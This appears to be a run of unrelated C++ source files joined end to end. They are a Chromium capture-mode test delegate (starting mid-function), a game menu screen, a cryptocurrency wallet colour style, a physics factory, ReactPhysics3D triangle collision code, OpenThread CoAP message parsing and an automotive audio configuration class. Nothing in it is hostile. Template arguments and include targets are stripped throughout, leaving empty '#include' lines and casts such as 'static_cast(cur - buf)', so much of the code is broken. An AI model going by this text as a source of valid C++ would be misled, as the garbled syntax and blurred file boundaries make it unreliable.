base::ScopedAllowBlockingForTesting allow_blocking; const bool result = base::CreateNewTempDirectory(/*prefix=*/"", &fake_downloads_dir_); DCHECK(result); } TestCaptureModeDelegate::~TestCaptureModeDelegate() = default; void TestCaptureModeDelegate::ResetAllowancesToDefault() { is_allowed_by_dlp_ = true; is_allowed_by_policy_ = true; } viz::FrameSinkId TestCaptureModeDelegate::GetCurrentFrameSinkId() const { return recording_service_ ? recording_service_->GetCurrentFrameSinkId() : viz::FrameSinkId(); } gfx::Size TestCaptureModeDelegate::GetCurrentFrameSinkSizeInPixels() const { return recording_service_ ? recording_service_->GetCurrentFrameSinkSizeInPixels() : gfx::Size(); } gfx::Size TestCaptureModeDelegate::GetCurrentVideoSize() const { return recording_service_ ? recording_service_->GetCurrentVideoSize() : gfx::Size(); } gfx::ImageSkia TestCaptureModeDelegate::GetVideoThumbnail() const { return recording_service_ ? recording_service_->GetVideoThumbnail() : gfx::ImageSkia(); } void TestCaptureModeDelegate::RequestAndWaitForVideoFrame() { DCHECK(recording_service_); recording_service_->RequestAndWaitForVideoFrame(); } base::FilePath TestCaptureModeDelegate::GetUserDefaultDownloadsFolder() const { DCHECK(Shell::Get()->session_controller()->IsActiveUserSessionStarted()); return fake_downloads_dir_; } void TestCaptureModeDelegate::ShowScreenCaptureItemInFolder( const base::FilePath& file_path) {} void TestCaptureModeDelegate::OpenScreenshotInImageEditor( const base::FilePath& file_path) {} bool TestCaptureModeDelegate::Uses24HourFormat() const { return false; } bool TestCaptureModeDelegate::IsCaptureModeInitRestrictedByDlp() const { return false; } bool TestCaptureModeDelegate::IsCaptureAllowedByDlp(const aura::Window* window, const gfx::Rect& bounds, bool for_video) const { return is_allowed_by_dlp_; } bool TestCaptureModeDelegate::IsCaptureAllowedByPolicy() const { return is_allowed_by_policy_; } void TestCaptureModeDelegate::StartObservingRestrictedContent( const aura::Window* window, const gfx::Rect& bounds, base::OnceClosure stop_callback) { // This is called at the last stage of recording initialization to signal that // recording has actually started. if (on_recording_started_callback_) std::move(on_recording_started_callback_).Run(); } void TestCaptureModeDelegate::StopObservingRestrictedContent() {} mojo::Remote TestCaptureModeDelegate::LaunchRecordingService() { mojo::Remote service_remote; recording_service_ = std::make_unique( service_remote.BindNewPipeAndPassReceiver()); return service_remote; } void TestCaptureModeDelegate::BindAudioStreamFactory( mojo::PendingReceiver receiver) {} void TestCaptureModeDelegate::OnSessionStateChanged(bool started) {} void TestCaptureModeDelegate::OnServiceRemoteReset() { // We simulate what the ServiceProcessHost does when the service remote is // reset (on which it shuts down the service process). Here since the service // is running in-process with ash_unittests, we just delete the instance. recording_service_.reset(); } std::unique_ptr TestCaptureModeDelegate::CreateRecordingOverlayView() const { return std::make_unique(); } } // namespace ash /* * MenuScreen.cpp * * Created on: Jan 1, 2015 * Author: Dean */ #include "MenuScreen.h" namespace enDJIN { MenuScreen::MenuScreen(sf::RenderWindow *window, KeyMappings *keyMap, Json::Value *JV): GameScreen(window, keyMap, JV) { } void MenuScreen::Show(){ renderWin->display(); } MenuScreen::~MenuScreen() { // TODO Auto-generated destructor stub } GameScreen* MenuScreen::newGameScreen(sf::RenderWindow *window, KeyMappings *keyMap, Json::Value *JV){ return new MenuScreen(window, keyMap, JV); } } /* namespace enDJIN */ src/Style/LightStyle.cpp /* * Copyright (c) 2017-2018, The auruxcoin Developers. * Portions Copyright (c) 2012-2017, The CryptoNote Developers, The Bytecoin Developers. * * This file is part of auruxcoin. * * This file is subject to the terms and conditions defined in the * file 'LICENSE', which is part of this source code package. */ #include "LightStyle.h" namespace WalletGui { LightStyle::LightStyle() : Style("light", "Light") { } QString LightStyle::statusBarBackgroundColor() const { return "#e7e7e7"; } QString LightStyle::statusBarFontColor() const { return "#000000"; } QString LightStyle::headerBackgroundColor() const { return "#e7e7e7"; } QString LightStyle::headerBorderColor() const { return "#dddddd"; } QString LightStyle::addressFontColor() const { return "#000000"; } QString LightStyle::balanceFontColor() const { return "#000000"; } QString LightStyle::toolButtonBackgroundColorNormal() const { return "#edf0f7"; } QString LightStyle::toolButtonBackgroundColorHover() const { return "#d1deeb"; } QString LightStyle::toolButtonBackgroundColorPressed() const { return "#5f9cc7"; } QString LightStyle::toolButtonFontColorNormal() const { return "#000000"; } QString LightStyle::toolButtonFontColorDisabled() const { return "#4d000000"; } QString LightStyle::toolBarBorderColor() const { return "#dddddd"; } QString LightStyle::getWalletSyncGifFile() const { return QString(":icons/light/wallet-sync"); } QPixmap LightStyle::getLogoPixmap() const { return QPixmap(QString(":icons/light/logo")); } QPixmap LightStyle::getBalanceIcon() const { return QPixmap(QString(":icons/light/balance")); } QPixmap LightStyle::getConnectedIcon() const { return QPixmap(QString(":icons/light/connected")); } QPixmap LightStyle::getDisconnectedIcon() const { return QPixmap(QString(":icons/light/disconnected")); } QPixmap LightStyle::getEncryptedIcon() const { return QPixmap(QString(":icons/light/encrypted")); } QPixmap LightStyle::getNotEncryptedIcon() const { return QPixmap(QString(":icons/light/decrypted")); } QPixmap LightStyle::getSyncedIcon() const { return QPixmap(QString(":icons/light/synced")); } } Exelius/ExeliusCore/Game/Physics/IPhysicsManager.cpp #include "IPhysicsManager.h" #include "Box2D/Box2DPhysics.h" #include namespace Exelius { std::unique_ptr IPhysicsManager::Create(Vector2f gravity) { return std::make_unique(gravity); } }/******************************************************************************** * ReactPhysics3D physics library, http://www.reactphysics3d.com * * Copyright (c) 2010-2022 * ********************************************************************************* * * * This software is provided 'as-is', without any express or implied warranty. * * In no event will the authors be held liable for any damages arising from the * * use of this software. * * * * Permission is granted to anyone to use this software for any purpose, * * including commercial applications, and to alter it and redistribute it * * freely, subject to the following restrictions: * * * * 1. The origin of this software must not be misrepresented; you must not claim * * that you wrote the original software. If you use this software in a * * product, an acknowledgment in the product documentation would be * * appreciated but is not required. * * * * 2. Altered source versions must be plainly marked as such, and must not be * * misrepresented as being the original software. * * * * 3. This notice may not be removed or altered from any source distribution. * * * ********************************************************************************/ // Libraries #include #include #include #include #include #include #include #include using namespace reactphysics3d; // Constructor TriangleShape::TriangleShape(const Vector3* vertices, const Vector3* verticesNormals, uint32 shapeId, HalfEdgeStructure& triangleHalfEdgeStructure, MemoryAllocator& allocator) : ConvexPolyhedronShape(CollisionShapeName::TRIANGLE, allocator), mTriangleHalfEdgeStructure(triangleHalfEdgeStructure) { mPoints[0] = vertices[0]; mPoints[1] = vertices[1]; mPoints[2] = vertices[2]; // Compute the triangle normal mNormal = (vertices[1] - vertices[0]).cross(vertices[2] - vertices[0]); mNormal.normalize(); mVerticesNormals[0] = verticesNormals[0]; mVerticesNormals[1] = verticesNormals[1]; mVerticesNormals[2] = verticesNormals[2]; mRaycastTestType = TriangleRaycastSide::FRONT; mId = shapeId; } // Constructor for raycasting TriangleShape::TriangleShape(const Vector3* vertices, uint32 shapeId, HalfEdgeStructure& triangleHalfEdgeStructure, MemoryAllocator& allocator) : ConvexPolyhedronShape(CollisionShapeName::TRIANGLE, allocator), mTriangleHalfEdgeStructure(triangleHalfEdgeStructure) { mPoints[0] = vertices[0]; mPoints[1] = vertices[1]; mPoints[2] = vertices[2]; // The normal is not used when creating the triangle shape with this constructor (for raycasting for instance) mNormal = Vector3(0, 0, 0); // Interpolated normals are not used in this constructor (for raycasting for instance) mVerticesNormals[0] = mNormal; mVerticesNormals[1] = mNormal; mVerticesNormals[2] = mNormal; mRaycastTestType = TriangleRaycastSide::FRONT; mId = shapeId; } // This method implements the technique described in Game Physics Pearl book // by and to get smooth triangle mesh collision. The idea is // to replace the contact normal of the triangle shape with the precomputed normal of the triangle // mesh at this point. Then, we need to recompute the contact point on the other shape in order to // stay aligned with the new contact normal. This method will return the new smooth world contact // normal of the triangle and the the local contact point on the other shape. void TriangleShape::computeSmoothMeshContact(Vector3 localContactPointTriangle, const Transform& triangleShapeToWorldTransform, const Transform& worldToOtherShapeTransform, decimal penetrationDepth, bool isTriangleShape1, Vector3& outNewLocalContactPointOtherShape, Vector3& outSmoothWorldContactTriangleNormal) const { // Get the smooth contact normal of the mesh at the contact point on the triangle Vector3 triangleLocalNormal = computeSmoothLocalContactNormalForTriangle(localContactPointTriangle); // Convert the local contact normal into world-space Vector3 triangleWorldNormal = triangleShapeToWorldTransform.getOrientation() * triangleLocalNormal; // Penetration axis with direction from triangle to other shape Vector3 triangleToOtherShapePenAxis = isTriangleShape1 ? outSmoothWorldContactTriangleNormal : -outSmoothWorldContactTriangleNormal; // The triangle normal should be the one in the direction out of the current colliding face of the triangle if (triangleWorldNormal.dot(triangleToOtherShapePenAxis) < decimal(0.0)) { triangleWorldNormal = -triangleWorldNormal; triangleLocalNormal = -triangleLocalNormal; } // Compute the final contact normal from shape 1 to shape 2 outSmoothWorldContactTriangleNormal = isTriangleShape1 ? triangleWorldNormal : -triangleWorldNormal; // Re-align the local contact point on the other shape such that it is aligned along the new contact normal Vector3 otherShapePointTriangleSpace = localContactPointTriangle - triangleLocalNormal * penetrationDepth; Vector3 otherShapePoint = worldToOtherShapeTransform * triangleShapeToWorldTransform * otherShapePointTriangleSpace; outNewLocalContactPointOtherShape.setAllValues(otherShapePoint.x, otherShapePoint.y, otherShapePoint.z); } // Update the AABB of a body using its collision shape /** * @param[out] aabb The axis-aligned bounding box (AABB) of the collision shape * computed in world-space coordinates * @param transform Transform used to compute the AABB of the collision shape */ void TriangleShape::computeAABB(AABB& aabb, const Transform& transform) const { RP3D_PROFILE("TriangleShape::computeAABB()", mProfiler); const Vector3 worldPoint1 = transform * mPoints[0]; const Vector3 worldPoint2 = transform * mPoints[1]; const Vector3 worldPoint3 = transform * mPoints[2]; const Vector3 xAxis(worldPoint1.x, worldPoint2.x, worldPoint3.x); const Vector3 yAxis(worldPoint1.y, worldPoint2.y, worldPoint3.y); const Vector3 zAxis(worldPoint1.z, worldPoint2.z, worldPoint3.z); aabb.setMin(Vector3(xAxis.getMinValue(), yAxis.getMinValue(), zAxis.getMinValue())); aabb.setMax(Vector3(xAxis.getMaxValue(), yAxis.getMaxValue(), zAxis.getMaxValue())); } // Raycast method with feedback information /// This method use the line vs triangle raycasting technique described in /// Real-time Collision Detection by . bool TriangleShape::raycast(const Ray& ray, RaycastInfo& raycastInfo, Collider* collider, MemoryAllocator& /*allocator*/) const { RP3D_PROFILE("TriangleShape::raycast()", mProfiler); const Vector3 pq = ray.point2 - ray.point1; const Vector3 pa = mPoints[0] - ray.point1; const Vector3 pb = mPoints[1] - ray.point1; const Vector3 pc = mPoints[2] - ray.point1; // Test if the line PQ is inside the eges BC, CA and AB. We use the triple // product for this test. const Vector3 m = pq.cross(pc); decimal u = pb.dot(m); if (mRaycastTestType == TriangleRaycastSide::FRONT) { if (u < decimal(0.0)) return false; } else if (mRaycastTestType == TriangleRaycastSide::BACK) { if (u > decimal(0.0)) return false; } decimal v = -pa.dot(m); if (mRaycastTestType == TriangleRaycastSide::FRONT) { if (v < decimal(0.0)) return false; } else if (mRaycastTestType == TriangleRaycastSide::BACK) { if (v > decimal(0.0)) return false; } else if (mRaycastTestType == TriangleRaycastSide::FRONT_AND_BACK) { if (!sameSign(u, v)) return false; } decimal w = pa.dot(pq.cross(pb)); if (mRaycastTestType == TriangleRaycastSide::FRONT) { if (w < decimal(0.0)) return false; } else if (mRaycastTestType == TriangleRaycastSide::BACK) { if (w > decimal(0.0)) return false; } else if (mRaycastTestType == TriangleRaycastSide::FRONT_AND_BACK) { if (!sameSign(u, w)) return false; } // If the line PQ is in the triangle plane (case where u=v=w=0) if (approxEqual(u, 0) && approxEqual(v, 0) && approxEqual(w, 0)) return false; // Compute the barycentric coordinates (u, v, w) to determine the // intersection point R, R = u * a + v * b + w * c decimal denom = decimal(1.0) / (u + v + w); u *= denom; v *= denom; w *= denom; // Compute the local hit point using the barycentric coordinates const Vector3 localHitPoint = u * mPoints[0] + v * mPoints[1] + w * mPoints[2]; const decimal hitFraction = (localHitPoint - ray.point1).length() / pq.length(); if (hitFraction < decimal(0.0) || hitFraction > ray.maxFraction) return false; // Compute the triangle face normal Vector3 normal = (mPoints[1] - mPoints[0]).cross(mPoints[2] - mPoints[0]); normal.normalize(); normal = normal.dot(pq) > decimal(0.0) ? -normal : normal; raycastInfo.body = collider->getBody(); raycastInfo.collider = collider; raycastInfo.worldPoint = localHitPoint; raycastInfo.hitFraction = hitFraction; raycastInfo.worldNormal = normal; return true; } /* * Copyright (c) 2016, The OpenThread Authors. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the copyright holder nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ /** * @file * This file implements the CoAP message generation and parsing. */ #include "coap_message.hpp" #include "coap/coap.hpp" #include "common/code_utils.hpp" #include "common/debug.hpp" #include "common/encoding.hpp" #include "common/instance.hpp" #include "common/random.hpp" namespace ot { namespace Coap { void Message::Init(void) { memset(&GetHelpData(), 0, sizeof(GetHelpData())); SetVersion(kVersion1); SetOffset(0); GetHelpData().mHeaderLength = kMinHeaderLength; SetLength(GetHelpData().mHeaderLength); } void Message::Init(Type aType, Code aCode) { Init(); SetType(aType); SetCode(aCode); } otError Message::Init(Type aType, Code aCode, const char *aUriPath) { otError error; Init(aType, aCode); SuccessOrExit(error = SetToken(kDefaultTokenLength)); SuccessOrExit(error = AppendUriPathOptions(aUriPath)); exit: return error; } void Message::Finish(void) { Write(0, GetOptionStart(), &GetHelpData().mHeader); } otError Message::AppendOption(uint16_t aNumber, uint16_t aLength, const void *aValue) { otError error = OT_ERROR_NONE; uint16_t optionDelta = aNumber - GetHelpData().mOptionLast; uint16_t optionLength; uint8_t buf[kMaxOptionHeaderSize] = {0}; uint8_t *cur = &buf[1]; // Assure that no option is inserted out of order. VerifyOrExit(aNumber >= GetHelpData().mOptionLast, error = OT_ERROR_INVALID_ARGS); // Calculate the total option size and check the buffers. optionLength = 1 + aLength; optionLength += optionDelta < kOption1ByteExtensionOffset ? 0 : (optionDelta < kOption2ByteExtensionOffset ? 1 : 2); optionLength += aLength < kOption1ByteExtensionOffset ? 0 : (aLength < kOption2ByteExtensionOffset ? 1 : 2); VerifyOrExit(GetLength() + optionLength < kMaxHeaderLength, error = OT_ERROR_NO_BUFS); // Insert option delta. if (optionDelta < kOption1ByteExtensionOffset) { *buf = (optionDelta << kOptionDeltaOffset) & kOptionDeltaMask; } else if (optionDelta < kOption2ByteExtensionOffset) { *buf |= kOption1ByteExtension << kOptionDeltaOffset; *cur++ = (optionDelta - kOption1ByteExtensionOffset) & 0xff; } else { *buf |= kOption2ByteExtension << kOptionDeltaOffset; optionDelta -= kOption2ByteExtensionOffset; *cur++ = optionDelta >> 8; *cur++ = optionDelta & 0xff; } // Insert option length. if (aLength < kOption1ByteExtensionOffset) { *buf |= aLength; } else if (aLength < kOption2ByteExtensionOffset) { *buf |= kOption1ByteExtension; *cur++ = (aLength - kOption1ByteExtensionOffset) & 0xff; } else { *buf |= kOption2ByteExtension; optionLength = aLength - kOption2ByteExtensionOffset; *cur++ = optionLength >> 8; *cur++ = optionLength & 0xff; } SuccessOrExit(error = Append(buf, static_cast(cur - buf))); SuccessOrExit(error = Append(aValue, aLength)); GetHelpData().mOptionLast = aNumber; GetHelpData().mHeaderLength = GetLength(); exit: return error; } otError Message::AppendUintOption(uint16_t aNumber, uint32_t aValue) { uint16_t length = sizeof(aValue); uint8_t *value; aValue = Encoding::BigEndian::HostSwap32(aValue); value = reinterpret_cast(&aValue); // skip preceding zeros while (value[0] == 0 && length > 0) { value++; length--; } return AppendOption(aNumber, length, value); } otError Message::AppendStringOption(uint16_t aNumber, const char *aValue) { return AppendOption(aNumber, static_cast(strlen(aValue)), aValue); } otError Message::AppendObserveOption(uint32_t aObserve) { return AppendUintOption(OT_COAP_OPTION_OBSERVE, aObserve & 0xFFFFFF); } otError Message::AppendUriPathOptions(const char *aUriPath) { otError error = OT_ERROR_NONE; const char *cur = aUriPath; const char *end; while ((end = strchr(cur, '/')) != NULL) { SuccessOrExit(error = AppendOption(OT_COAP_OPTION_URI_PATH, static_cast(end - cur), cur)); cur = end + 1; } SuccessOrExit(error = AppendStringOption(OT_COAP_OPTION_URI_PATH, cur)); exit: return error; } otError Message::AppendProxyUriOption(const char *aProxyUri) { return AppendStringOption(OT_COAP_OPTION_PROXY_URI, aProxyUri); } otError Message::AppendContentFormatOption(otCoapOptionContentFormat aContentFormat) { return AppendUintOption(OT_COAP_OPTION_CONTENT_FORMAT, static_cast(aContentFormat)); } otError Message::AppendMaxAgeOption(uint32_t aMaxAge) { return AppendUintOption(OT_COAP_OPTION_MAX_AGE, aMaxAge); } otError Message::AppendUriQueryOption(const char *aUriQuery) { return AppendStringOption(OT_COAP_OPTION_URI_QUERY, aUriQuery); } const otCoapOption *Message::GetFirstOption(void) { const otCoapOption *option = NULL; memset(&GetHelpData().mOption, 0, sizeof(GetHelpData().mOption)); VerifyOrExit(GetLength() - GetHelpData().mHeaderOffset >= GetOptionStart()); GetHelpData().mNextOptionOffset = GetHelpData().mHeaderOffset + GetOptionStart(); if (GetHelpData().mNextOptionOffset < GetLength()) { option = GetNextOption(); } exit: return option; } const otCoapOption *Message::GetNextOption(void) { otError error = OT_ERROR_NONE; uint16_t optionDelta; uint16_t optionLength; uint8_t buf[kMaxOptionHeaderSize]; uint8_t * cur = buf + 1; otCoapOption *rval = NULL; VerifyOrExit(GetHelpData().mNextOptionOffset < GetLength(), error = OT_ERROR_NOT_FOUND); Read(GetHelpData().mNextOptionOffset, sizeof(buf), buf); optionDelta = buf[0] >> 4; optionLength = buf[0] & 0xf; GetHelpData().mNextOptionOffset += sizeof(uint8_t); if (optionDelta < kOption1ByteExtension) { // do nothing } else if (optionDelta == kOption1ByteExtension) { optionDelta = kOption1ByteExtensionOffset + cur[0]; GetHelpData().mNextOptionOffset += sizeof(uint8_t); cur++; } else if (optionDelta == kOption2ByteExtension) { optionDelta = kOption2ByteExtensionOffset + static_cast((cur[0] << 8) | cur[1]); GetHelpData().mNextOptionOffset += sizeof(uint16_t); cur += 2; } else { // RFC7252 (Section 3): // Reserved for payload marker. VerifyOrExit(optionLength == 0xf, error = OT_ERROR_PARSE); // The presence of a marker followed by a zero-length payload MUST be processed // as a message format error. VerifyOrExit(GetHelpData().mNextOptionOffset < GetLength(), error = OT_ERROR_PARSE); ExitNow(error = OT_ERROR_NOT_FOUND); } if (optionLength < kOption1ByteExtension) { // do nothing } else if (optionLength == kOption1ByteExtension) { optionLength = kOption1ByteExtensionOffset + cur[0]; GetHelpData().mNextOptionOffset += sizeof(uint8_t); } else if (optionLength == kOption2ByteExtension) { optionLength = kOption2ByteExtensionOffset + static_cast((cur[0] << 8) | cur[1]); GetHelpData().mNextOptionOffset += sizeof(uint16_t); } else { ExitNow(error = OT_ERROR_PARSE); } VerifyOrExit(optionLength <= GetLength() - GetHelpData().mNextOptionOffset, error = OT_ERROR_PARSE); rval = &GetHelpData().mOption; rval->mNumber += optionDelta; rval->mLength = optionLength; GetHelpData().mNextOptionOffset += optionLength; exit: if (error == OT_ERROR_PARSE) { GetHelpData().mNextOptionOffset = 0; } return rval; } otError Message::GetOptionValue(void *aValue) const { otError error = OT_ERROR_NONE; const otCoapOption &option = GetHelpData().mOption; VerifyOrExit(GetHelpData().mNextOptionOffset > 0, error = OT_ERROR_NOT_FOUND); VerifyOrExit(Read(GetHelpData().mNextOptionOffset - option.mLength, option.mLength, aValue) == option.mLength, error = OT_ERROR_PARSE); exit: return error; } otError Message::SetPayloadMarker(void) { otError error = OT_ERROR_NONE; uint8_t marker = 0xff; VerifyOrExit(GetLength() < kMaxHeaderLength, error = OT_ERROR_NO_BUFS); SuccessOrExit(error = Append(&marker, sizeof(marker))); GetHelpData().mHeaderLength = GetLength(); // Set offset to the start of payload. SetOffset(GetHelpData().mHeaderLength); exit: return error; } otError Message::ParseHeader(void) { otError error = OT_ERROR_NONE; assert(mBuffer.mHead.mInfo.mReserved >= sizeof(GetHelpData()) + static_cast((reinterpret_cast(&GetHelpData()) - mBuffer.mHead.mData))); memset(&GetHelpData(), 0, sizeof(GetHelpData())); GetHelpData().mHeaderOffset = GetOffset(); Read(GetHelpData().mHeaderOffset, sizeof(GetHelpData().mHeader), &GetHelpData().mHeader); for (const otCoapOption *option = GetFirstOption(); option != NULL; option = GetNextOption()) { } VerifyOrExit(GetHelpData().mNextOptionOffset > 0, error = OT_ERROR_PARSE); GetHelpData().mHeaderLength = GetHelpData().mNextOptionOffset - GetHelpData().mHeaderOffset; MoveOffset(GetHelpData().mHeaderLength); exit: return error; } otError Message::SetToken(const uint8_t *aToken, uint8_t aTokenLength) { GetHelpData().mHeader.mVersionTypeToken = (GetHelpData().mHeader.mVersionTypeToken & ~kTokenLengthMask) | ((aTokenLength << kTokenLengthOffset) & kTokenLengthMask); memcpy(GetHelpData().mHeader.mToken, aToken, aTokenLength); GetHelpData().mHeaderLength += aTokenLength; return SetLength(GetHelpData().mHeaderLength); } otError Message::SetToken(uint8_t aTokenLength) { uint8_t token[kMaxTokenLength] = {0}; assert(aTokenLength <= sizeof(token)); Random::NonCrypto::FillBuffer(token, aTokenLength); return SetToken(token, aTokenLength); } otError Message::SetDefaultResponseHeader(const Message &aRequest) { Init(OT_COAP_TYPE_ACKNOWLEDGMENT, OT_COAP_CODE_CHANGED); SetMessageId(aRequest.GetMessageId()); return SetToken(aRequest.GetToken(), aRequest.GetTokenLength()); } Message *Message::Clone(uint16_t aLength) const { Message *message = static_cast(ot::Message::Clone(aLength)); VerifyOrExit(message != NULL); memcpy(&message->GetHelpData(), &GetHelpData(), sizeof(GetHelpData())); exit: return message; } #if OPENTHREAD_CONFIG_COAP_API_ENABLE const char *Message::CodeToString(void) const { const char *codeString; switch (GetCode()) { case OT_COAP_CODE_INTERNAL_ERROR: codeString = "InternalError"; break; case OT_COAP_CODE_METHOD_NOT_ALLOWED: codeString = "MethodNotAllowed"; break; case OT_COAP_CODE_CONTENT: codeString = "Content"; break; case OT_COAP_CODE_EMPTY: codeString = "Empty"; break; case OT_COAP_CODE_GET: codeString = "Get"; break; case OT_COAP_CODE_POST: codeString = "Post"; break; case OT_COAP_CODE_PUT: codeString = "Put"; break; case OT_COAP_CODE_DELETE: codeString = "Delete"; break; case OT_COAP_CODE_NOT_FOUND: codeString = "NotFound"; break; case OT_COAP_CODE_UNSUPPORTED_FORMAT: codeString = "UnsupportedFormat"; break; case OT_COAP_CODE_RESPONSE_MIN: codeString = "ResponseMin"; break; case OT_COAP_CODE_CREATED: codeString = "Created"; break; case OT_COAP_CODE_DELETED: codeString = "Deleted"; break; case OT_COAP_CODE_VALID: codeString = "Valid"; break; case OT_COAP_CODE_CHANGED: codeString = "Changed"; break; case OT_COAP_CODE_BAD_REQUEST: codeString = "BadRequest"; break; case OT_COAP_CODE_UNAUTHORIZED: codeString = "Unauthorized"; break; case OT_COAP_CODE_BAD_OPTION: codeString = "BadOption"; break; case OT_COAP_CODE_FORBIDDEN: codeString = "Forbidden"; break; case OT_COAP_CODE_NOT_ACCEPTABLE: codeString = "NotAcceptable"; break; case OT_COAP_CODE_PRECONDITION_FAILED: codeString = "PreconditionFailed"; break; case OT_COAP_CODE_REQUEST_TOO_LARGE: codeString = "RequestTooLarge"; break; case OT_COAP_CODE_NOT_IMPLEMENTED: codeString = "NotImplemented"; break; case OT_COAP_CODE_BAD_GATEWAY: codeString = "BadGateway"; break; case OT_COAP_CODE_SERVICE_UNAVAILABLE: codeString = "ServiceUnavailable"; break; case OT_COAP_CODE_GATEWAY_TIMEOUT: codeString = "GatewayTimeout"; break; case OT_COAP_CODE_PROXY_NOT_SUPPORTED: codeString = "ProxyNotSupported"; break; default: codeString = "Unknown"; break; } return codeString; } #endif // OPENTHREAD_CONFIG_COAP_API_ENABLE } // namespace Coap } // namespace ot juimonen/SmartXbar /* * Copyright (C) 2018 Intel Corporation.All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause */ /** * @file IasConfiguration.cpp * @date 2015 * @brief */ #include "IasConfiguration.hpp" #include "model/IasAudioPort.hpp" #include "model/IasAudioPin.hpp" #include "model/IasRoutingZone.hpp" #include "model/IasProcessingModule.hpp" #include "audio/smartx/IasProperties.hpp" namespace IasAudio { static const std::string cClassName = "IasConfiguration::"; #define LOG_PREFIX cClassName + __func__ + "(" + std::to_string(__LINE__) + "):" #define LOG_DEVICE "device=" + name + ":" #define LOG_ZONE "zone=" + name + ":" IasConfiguration::IasConfiguration() :mLog(IasAudioLogging::registerDltContext("CFG", "SmartX Config")) ,mSourceDeviceMap() ,mSinkDeviceMap() ,mRoutingZoneMap() ,mPipelineMap() ,mOutputPortMap() ,mInputPortMap() ,mLogicalSourceMap() { } IasConfiguration::~IasConfiguration() { DLT_LOG_CXX(*mLog, DLT_LOG_VERBOSE, LOG_PREFIX); mSourceDeviceMap.clear(); mSinkDeviceMap.clear(); for (auto &entry : mRoutingZoneMap) { IasRoutingZonePtr routingZone = entry.second; (void)routingZone->stop(); } mRoutingZoneMap.clear(); mPipelineMap.clear(); for (auto &entry : mOutputPortMap) { IasAudioPortPtr port = entry.second; port->clearOwner(); } mOutputPortMap.clear(); for (auto &entry : mInputPortMap) { IasAudioPortPtr port = entry.second; port->clearOwner(); } mInputPortMap.clear(); } IasConfiguration::IasResult IasConfiguration::addAudioDevice(const std::string& name, IasAudioSourceDevicePtr sourceDevice) { if (mSourceDeviceMap.count(name) > 0) { /** * @log Source device names have to be unique. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, LOG_DEVICE, "Audio source device already exists"); return eIasObjectAlreadyExists; } mSourceDeviceMap[name] = sourceDevice; DLT_LOG_CXX(*mLog, DLT_LOG_INFO, LOG_PREFIX, LOG_DEVICE, "Audio source device added"); return eIasOk; } IasConfiguration::IasResult IasConfiguration::getAudioDevice(const std::string& name, IasAudioSourceDevicePtr* sourceDevice) { // You cannot pass a nullptr. The compiler prevents this because we have an overloaded function // which would be ambiguous. IAS_ASSERT(sourceDevice != nullptr); if (mSourceDeviceMap.count(name) > 0) { *sourceDevice = mSourceDeviceMap.at(name); return eIasOk; } else { return eIasObjectNotFound; } } void IasConfiguration::deleteAudioDevice(const std::string& name) { if (mSourceDeviceMap.count(name) > 0) { mSourceDeviceMap.erase(name); } if (mSinkDeviceMap.count(name) > 0) { mSinkDeviceMap.erase(name); } } IasConfiguration::IasResult IasConfiguration::addAudioDevice(const std::string& name, IasAudioSinkDevicePtr sinkDevice) { if (mSinkDeviceMap.count(name) > 0) { /** * @log Sink device names have to be unique. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, LOG_DEVICE, "Audio sink device already exists"); return eIasObjectAlreadyExists; } mSinkDeviceMap[name] = sinkDevice; DLT_LOG_CXX(*mLog, DLT_LOG_INFO, LOG_PREFIX, LOG_DEVICE, "Audio sink device added"); return eIasOk; } IasConfiguration::IasResult IasConfiguration::getAudioDevice(const std::string& name, IasAudioSinkDevicePtr* sinkDevice) { // You cannot pass a nullptr. The compiler prevents this because we have an overloaded function // which would be ambiguous. IAS_ASSERT(sinkDevice != nullptr); if (mSinkDeviceMap.count(name) > 0) { *sinkDevice = mSinkDeviceMap.at(name); return eIasOk; } else { return eIasObjectNotFound; } } IasConfiguration::IasResult IasConfiguration::addRoutingZone(const std::string& name, IasRoutingZonePtr routingZone) { if (mRoutingZoneMap.count(name) > 0) { /** * @log Routing zone names have to be unique. */ DLT_LOG_CXX(*mLog, DLT_LOG_ERROR, LOG_PREFIX, LOG_ZONE, "Routing zone already exists"); return eIasObjectAlreadyExists; } mRoutingZoneMap[name] = routingZone; DLT_LOG_CXX(*mLog, DLT_LOG_INFO, LOG_PREFIX, LOG_ZONE, "Routing zone added"); return eIasOk; } IasConfiguration::IasResult IasConfiguration::getRoutingZone(const std::string& name, IasRoutingZonePtr* routingZone) { if (routingZone == nullptr) { return eIasNullPointer; } if (mRoutingZoneMap.count(name) > 0) { *routingZone = mRoutingZoneMap.at(name); return eIasOk; } else { return eIasObjectNotFound; } } IasConfiguration::IasResult IasConfiguration::getRoutingZone(const IasPipelinePtr pipeline, IasRoutingZonePtr *routingZone) { if (routingZone == nullptr || pipeline == nullptr) { return eIasNullPointer; } for(auto& it : mRoutingZoneMap) { if (it.second->hasPipeline(pipeline)) { *routingZone = it.second; return eIasOk; } } return eIasObjectNotFound; } void IasConfiguration::deleteRoutingZone(const std::string& name) { if (mRoutingZoneMap.count(name) > 0) { mRoutingZoneMap.erase(name); } } 